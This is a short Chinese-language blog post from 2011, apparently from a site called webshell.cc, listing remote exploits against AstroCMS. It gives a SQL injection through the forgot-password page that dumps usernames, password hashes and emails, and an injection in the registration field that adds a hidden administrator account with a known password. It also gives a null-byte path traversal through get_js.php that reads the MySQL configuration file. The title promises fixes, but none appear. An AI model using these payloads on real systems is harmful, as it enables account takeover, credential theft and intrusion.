AstroCMS多重远程缺陷及修复

分类:安全 | 2011-09-15 | 撸过 109 次
0人扯谈

下载地址: http://www.astrocms.com/
忘记密码处注射:

/registration/forgot/

a’ union select 0,0,0,0,concat_ws(0x3a,login,password,email,status ,level),0,0,0,0,0,0,0 from auth_users where id=5#

id=6 – usually admin

============================================================

用户注册处:

============================================================

/registration/

adrnin’,’4297f44b13955235245b2497399d7a93′,’adrnin ‘,’okk@mail.com’,1,5,”,”,”)#

www.webshell.cc Submitting this to “login field” will add “adrnin” user with admin rights and password “123123”.

Usually 5 – is admin group.

============================================================

内容页:

============================================================

/include/get_js.php4?fname=../htdocs/include/config_mysql.inc%00.js

或者:

/include/get_js.php?fname=../htdocs/include/config_mysql.inc%00.js

本站内容均为原创,转载请务必保留署名与链接!
AstroCMS多重远程缺陷及修复:https://www.webshell.cc/1322.html

随机日志